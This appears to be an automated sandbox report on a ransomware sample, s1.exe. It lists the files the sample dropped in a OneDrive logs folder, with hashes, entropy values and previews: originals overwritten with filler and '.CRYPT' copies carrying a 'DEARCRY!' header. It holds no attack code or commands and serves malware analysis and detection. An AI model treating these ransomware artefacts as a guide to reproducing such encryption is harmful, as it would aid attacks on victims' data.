                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-22_194735_5524-5528.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):10320
                                                              Entropy (8bit):7.981676425605043
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3DAF27192C95BED6E39862F1CEEAF9EE
                                                              SHA1:3521DD987BEFEB729796DCDFD11378A9940F39E1
                                                              SHA-256:5508D5D308D0410FDC2485390E05021BA783D326FC50E357D65891BABA060C5C
                                                              SHA-512:96CD55CD0A3C1EF658B425192070403CF16482421CE1FB2B302D9B24A5FFDB90EB8B825444CA7FB3C0CA7044F5756CE54E8BF5B7E409932CECA27F260A7A5986
                                                              Malicious:false
                                                              Preview: DEARCRY!....B[...%VU.I.9...K.ul..KO.t.m{...%....D.....C.&..`..D....F.`..h/.J+q._.@U.#../....*...Q.......3B..V.NFn.1s2B.y.}....{.....d)E.~..2.3.R..H.E2V..u\..s....6h6....F....0W..5.Eq.....o=.x.fF... ..r9.z@jq{.&=..(*..%..Y.d.).y...:..'.].<...|l.2^...........................8.\...i=!...B.:......x..(..v .....AT>.Zf....I'.........X.:^.F.H.. D..n|#j.G.s..U..F.7.;.j.C.'D..6.:f.1J..J.Uu.lc.g.`.{L.;......T.D..1U...f.5..!.y._.....H7..m..".J..../~..E.J......".......6t..>T.M{i.b.S.Q...M.6.S..Z...[@^1.r....)..cd.{..N..........K.6....^..S.g>h.+@.|.a..9.._...}~.s/MZ".....hX...v|.U...Z;.W.Y......>...._.$..57M.kWYg..m....;....u.R.sMP...g.e.'z...D.cM .6(...PP.qj&........G..p...:.'...^F*d".q...r...e.).J..)...*..R!...5[..G..[..0@u.D..(.p.....Y...{..g.z.H.t!.4z.86~^..).S...kr7e.68Kaw\4...K......a$`o.].."...2..WV..A9.O.-..n.k.....Y.=..o.]..".G2bb..!.FL.1P.~o.`.+.....X...^(....e.......`[.<&....*.... ...,.....].xC'....>..$....-.7#.8O.}Z&.hu...."bu.....gF.sY
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-22_195254_5092-5000.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):55052
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E4FE77D9230E166D44F94590648A176F
                                                              SHA1:9CFA51C27BEE2534AAE3AED4596E9250EA6BE41C
                                                              SHA-256:6C85522D239E2A85E387FDFD31DC44DF3EEDE829261381C892EBFCA2898C5FBF
                                                              SHA-512:FA9B8BA09784E6FE2C54BAC4BDCDF24928CF56E303E04FF239CC81A9FA67D611446FB1E427C9B4D8397AB32BC028321385D32168FFAB26AD979711ECB03223B8
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-22_195254_5092-5000.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):55632
                                                              Entropy (8bit):7.996300542322321
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:5F84F8F58B1ECA21E54879A6E44E359E
                                                              SHA1:5FE0F2312A6425583AA255681AF7D3339B87E67D
                                                              SHA-256:B73F54ACB1DF451E4DE266A6CFAFE8B8A54134ABF144FD6CC60C166B5FD590F0
                                                              SHA-512:D36EC88B5EEBC0C6117671E58EA2045AC5F2E3CF78F4F4A5B71A50995BA826DC1A01F1F01ED1502A069ABF4A62EC8AFB3294BDBAE1DE5DB8E7E500EB00BBA8C3
                                                              Malicious:true
                                                              Preview: DEARCRY!....U...B.._.m..*v.....[.....A.......;6...?.tX.../.1).y.`.|&.[...).....h..j....l...B.A....W.dL....e ..dd...E..W.....r..@)...l..$....<$n_!.p.IcJ).6.|.H...lf..B._.m....v.!..P..1.q..Go!.~.....j>....(I.....+e.rk....x...J.0........Or.n9.......(l.q........k..........K}6)QI......_....\q...S1.p.C...Ey...\...n......4...,..\..d.;V..-j.z..6..Z|KN....3..G...d:k...&($_.>..."B?............@.j...{....EI.....^.3...g.8.=V.-Z.D...t"KZg.........^t>(..[.].?...Y.yB.`R.8.d6..7G..-B..bP..:..d......a.,N.S..C......w........./L.Tr^..T...&..D.PkD`b3..R..f.<f.....2G$.5.i..s...a.....+.....S..M9.......`.d..U...U.C..|...h.....%&.tI!..I..TJ.....H]&.........IS.....r......o.....jX..Pq..Z......P2p.;.:g.H^.f%;8l.2..i..*9...Ol....8..]._.....+h....................Q...f..E...K`.?}Q4.(M...F....f.........n.@..Jd.t..]..=.y9S..]..GTj"%.N...zL....d.~X.^..Et.f....k|:...'.$.'F.Zwe.....Q.=...q....N..xDKjc(....^..w../...8.D;u......r9.m.../...\. .....5..T.6..o.~....
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-23_165240_5300-5304.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):75776
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2458B337C585818833293BA436C887D3
                                                              SHA1:078DD5A2E53F35A9F641429B1C51DD3BE4F2A599
                                                              SHA-256:87065F34059643B38108F398452BFDA043F9BAF573C269F3623A11DD8678B2BA
                                                              SHA-512:AA9AA8AC380645925A70DA1F8CC02926D11A3A28F894AB821BAD438929775F9321AD6EDC2E4B13D48D4D3FB1185740982BA2A57DF382E9E35BFD330C70DE593F
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-23_165240_5300-5304.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):76368
                                                              Entropy (8bit):7.997680138078773
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:5CC2E209FDFA10C4304805E3C7A58E60
                                                              SHA1:708B549ED142CB63DB1624804BC17613D869F943
                                                              SHA-256:04A2A25CC25C8907E5C1D909C32DEBFB2E4E5A86B68E2DBA3C808F6B0EFDC185
                                                              SHA-512:C18BD422F704AA183E0605BEDBA427298A131BCEB295F80C78AE7A7F51F065858178427E07CF6C29681FA486521760C0F93DA5B592CD1CA17AD58440532CD239
                                                              Malicious:true
                                                              Preview: DEARCRY!....[..Q..5....J.q.p...z.j..CL.+.Z...|.H..w...,JD.b...{..0....a...\.s./..v..U..._.b.S]OC.p.x.j..7k..~A~...\(.9|..nL.\.c."%V.....e^]3.....Z...........:6......Ko..=..]bj...|.... r......v.e.G..{].*..........X.U2.u...Kv..B...R..$ruE..]m!8...#...N^".R|j,.7.............82..J.s$.rNG.f...M...B..'.7.../ .d.....!./.5....|.92......A.qe.8.cf|..."1.<k.:...p.1h.4.y%.<N...q.~B. .i........1C......e..f.x..c...qj..%..".DrM&...SO..v/d...E>...i.xQ.n...51...fcG..\c..C=[....6.p..\.0..M....x.I...=u..c.V.....A.v.......Me.....\.Dd..tb.t..i.=at.+.GG......x53...............H=.Y...q.z...... .K..zz.KM.IZ.......g..?{'...i.&.mZ..zO.#......R.....mgh.. ..@....V...d7.$a...n$..h....2.....u.w.b7..........A..,X...oJ.?u.uZ^.Z6..}. ..2..vp...0,bje....'.....Z%...)D&.N.5/~@.....N#.F..W.j-,g.......hw.Vh...Y'l....^..._....&.6v.Vj.P6..Y"..J.1U...$W.!h...h..q[K...[..$..~.l..a....O.&.I..G.D......]..9=.w.o......C.=..S.;D...V...i'........v.w....1..B.......s.......M...:...S
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-23_165339_3984-3612.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16244
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:95227651DE38D8491DC35C89113294B7
                                                              SHA1:1B41E1496D7F57499173F4ED62FD3079A128CE18
                                                              SHA-256:784E2518545882908DE7A18AAE9F0E5F698CEC183F6DEDF56C5B90AD2ADDBA52
                                                              SHA-512:727AD5402C9DC5BD3610DA8B31CE1538BCCED6A2229DA4EC248B47B798E625DAEE0B549631719732E845DD2BDB42898BB2DEEE16E158885C4DDABB82B2D0F226
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-23_165339_3984-3612.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16816
                                                              Entropy (8bit):7.988371407851943
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B7E2A6266B50E9AE4646CC725D9DE0AE
                                                              SHA1:C4F57D2A6ED8B4ECE9314459F83A554F063D714F
                                                              SHA-256:3CADFF73A46C5EE7920EFB3A8531DA2B0142EB577BA4FBA6A4E376B9642057D9
                                                              SHA-512:5CCA19944F456C1435FF45BEB9631343A2A5CB2D31A62D935338874E190E2D96313813AE0FFF3117E857FFD091E9E1891DCEDF0215B31B22A13C14EA9BAB2547
                                                              Malicious:false
                                                              Preview: DEARCRY!....{w..h..L...c.s.....@.....L$..B;.k.5.D..5..p..=?.h] ...r.hT,..{*.>..X~..}1*m5.C.>#./.).....e...9!....Hc.).z........s@..e......k9g...>.4..!X.w.DP..7.YU.!.....|^}........]C.;G.{T,S'..;.I..R..<.......n.....)...Y..(.CW0h[..A..B.+o..$)V.0J.U.....h.................S!...n.7.6....<N...<...d@i..J-0.J..+.-}9...0..}?FD.^.L.x,.=j...Z..RU....$JN...."..&......p....l...[.H.=.]..).........../.....p+_......R...C...8.8-.6..aS&.P. ~.v{.l..&..,&^.E.M....G.3.+.h;.)..........C=..@^..0=......%.~..I.I............tH...]..Q......n..-.ST.l.CN.u.....ZVtd.m.2B....M.x.!..e.@.p..f........."G...u...{$j....<n..4....{A'b..z..j&/;..K..._..v.$=2.l.a.t)...H.b.tb.k#.".T.!L.....D....8.r..7;b...Z.K~$.j..)......i.....6....M.......hY..Z%.,y.c.g. .......I.ru,..$...8.z..m.c.R..z..ufO\.;.+.......K....R..`&....^......{.}...!d.hI.!...pf....F...(...t.@^..`...|..:..V......W..%?P1....>z....r.....W.~FP.#.Jwsd1C.....\...p...,..^...O.....fB...}.....m.u.......<.......z...
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-23_175357_5272-5276.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4616
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1182F0BAAE4EEE42C0CF529FF14DA1FB
                                                              SHA1:3CCEADDB0825FD342A452B6E214DFF12FAC83425
                                                              SHA-256:3B4228E306AA2B8EFC4040716523FC62731BE26011D1E688A0A495B5CB370527
                                                              SHA-512:E744AB6443730D229BFD3542C44FC530AC4C4659A0238EFDC49FD43658EFB32DA4AAC44558F77A4D16789E1ED5A23E867D1ECB9D276944A7AE687D4E9BF783B2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-23_175357_5272-5276.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5200
                                                              Entropy (8bit):7.960651295105144
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E41BD21E7E01ACE759955801C5681B8E
                                                              SHA1:0C47D8DC3CDB390988988EA0E1E95976909B3FAF
                                                              SHA-256:5BB4F60723917399159B7F518FF143C6586C9A9DF3283241BCD64780C9B863BA
                                                              SHA-512:2CDA335CE94DD34F4C4BF8DD66FE65A835794C1D572FBA8DA25E2682F5BE3CEB2A57D694F91EF40CA6DB3F8D4F67EB4C9E17E5DA997C64AB9F94CBC92A53D279
                                                              Malicious:false
                                                              Preview: DEARCRY!....S..M?I........X...WrZL3.1..$=..&..f."...b.c.+rP:.`~..._.WSnwL..+...]?......&..m.......m.o..+T..c0.~..e.[+..'_&..oX....p.eq....+..).=*,.h.R......8.f....~F.....^.......L.q.1.....%....D{.....&...5ay6..a(........i.w.9.0^G._f.F.o..,uS..C...*N...>.!................xU-.J......U.i:vr?..7...t....d........5..... p.{. 9.Dg^-.H.9t..B_y9..]s.....s...E..c....w.]2S...H...{i7Iss...h.z)..+.!...5n.o..>vgS.fE.cv?..Q3...O...@#.S.!.QA... V.}.RQ.\.T*.1X...f.0....6.(..w...a.ym..0.."....3....OA..t(<D....yvB.....].......K..v.K}........#.c...p.-H....(...k../..<..=.....:.. <a....q....T...+O.7T...S.?............-...d...)....n..d..#........%.p....z.T.h,D..%.{...i......u...@.%.>.D+&...Q.F~I.s.or...?..7.I.;.*..n...4/.....9+!....=.0.H...mP!.S|.e..L.&<.a[.x....&.......S].......w.,.-aM..~...g.8J] .M6A.C.#....J.z...7....|......u_..z.b..q...F|,WP.+.....w^.<.{{a.U..`lq....8..CF..!..^..]........M...&.X..t.....1.4..@...S......04..@......zz.=.......7.:.0~..a...|.N.+.
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-27_141423_5924-5928.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):39928
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:43BD3050EA231E22C901BFD2BC31902F
                                                              SHA1:6B158D56D01F4A78B39A70F34CA8E86AE2B58F61
                                                              SHA-256:D38477F93EAE66FD62D9E2F4A2D05681785F0CDF62A2D7CDE583F300576BEDCF
                                                              SHA-512:52B997CC487B8631D27771CED686BB201A89C6788EAE032D309C97DA3324884BC5C3C7218450A8E76AC963FC093A54AC4581E15257FD511C8AF38C4C3F782467
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-27_141423_5924-5928.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):40496
                                                              Entropy (8bit):7.995916153179178
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:07E801FEDC96FA99F911E18F87E99636
                                                              SHA1:FA6E17BB90A43A16746404F40127470D818525B0
                                                              SHA-256:016CBA0D76F94DD8D184FA5875BEFB36C6D50FDCA30695A2D2A7F0DE05014B6D
                                                              SHA-512:A4C1F330D827C505B61D05B1FEF20A2D17A03C1DCE3949BE82E906DB1CD7F4C944DE7D229E91B9399E4B7B092ACC00EB2E33089EF81E4121B294680754D23780
                                                              Malicious:true
                                                              Preview: DEARCRY!....gS..`.U.@Z;...^.#I.s...q.......5.v.aB...|...>.U.'.D.......}.....~.....[k.4..U.r..\...`.(u........9....}.[.......c.9..=2....h._......J..9....T&.h. .....&...%..K.3....8../H.......@<.I.0......G...@.!G..v.eAg...|.N.J.r...g..@.O.....M..i......:..........M.......kSa.&0........C...e..(.&..u....R.MBK..s...Q.|#&{:py...4......5+#!.".FD#5b.HU..$?...Y[.......3x.H...j_..i...D.r.Al.g7US....U<.k..21..a.K...9.:c..{QzX|...T^AY....}.I7N..(.{.3.d....tI.Zy.\G./..zO.SI@$^.Te..p Ttf_...X.....R C:F.#RN..-<e.I..P...w$............+..l..p....k.....o$...n.v.2.{.F..].....:..+..57...3.Y....kF...\.....Z."S|s?...zq..C.R..dt.%..5i.y....x*W....^..a...u\.'......)R0.1.|.v.l.,..9.......i....U...3.Z...Q....ys;(>(s#_?4...6....G.Q......}.ff.8......d..G.....u.. ...Q..F.{.BG........x.4.`..........qL...[.f.'.....-.k.M.|.</(_.1Z......Zb......".T.U..+.!.Rq.39i7.V8.........Z......j...}a".gn.....~...F..z.#u..........Em.....WF.....~..C~.b.+..."Asl.....Q.k)[...}.:..r.........M.)\..
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2019-06-27_102023_cd4-fc0.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1122492
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0F8FA043973EFA43780D57E310F0C90C
                                                              SHA1:C996F7FA8A30264CF96B57C6BC40FC70B28987FF
                                                              SHA-256:C940D0EA6FDFCE93AEFECF546203584634CFC2EB85313BDB7FBC34255503A702
                                                              SHA-512:17820D89188BB93B003801F14E859470915565E7C805175C2261DD5C119061ADA7AB5BB19189A90688143379FA841A92B8BFB157B534ED13BA9F94E2C1E6B74D
                                                              Malicious:true
